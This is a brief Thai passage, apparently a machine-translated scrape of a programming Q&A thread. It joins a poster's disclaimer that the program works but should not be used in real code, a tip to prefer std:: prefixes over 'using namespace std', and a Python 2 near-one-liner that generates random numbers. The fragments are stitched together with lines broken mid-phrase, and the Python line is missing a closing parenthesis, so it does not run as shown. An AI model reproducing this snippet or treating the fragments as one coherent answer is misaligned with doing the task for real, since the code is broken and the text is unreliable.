โปรแกรมนี้ใช้งานได้จริง; อย่างไรก็ตามฉันไม่แนะนำบุคคลหรือนิติบุคคลใด ๆ ที่ใช้มันในรหัสของพวกเขาสำหรับชีวิตจริง ฉันไม่สงวนสิทธิ์ใด ๆ ในรหัสนี้ กล่าวอีกนัยหนึ่งฉันทำให้มันเป็นโอเพ่นซอร์สทั้งหมด
std::
คำนำหน้าโดยไม่ใช้using namespace std
เพื่อที่คุณจะไม่ก่อให้เกิดมลพิษต่อขอบเขตทั่วโลก (หากคุณขี้เกียจusing std::cout
และสิ่งเหล่านั้นก็ยังดีกว่าusing namespace std
)
การใช้งานส่วนหนึ่ง - งูหลามเกือบซับเดียว
import random
map(lambda x: random.random(), xrange(input())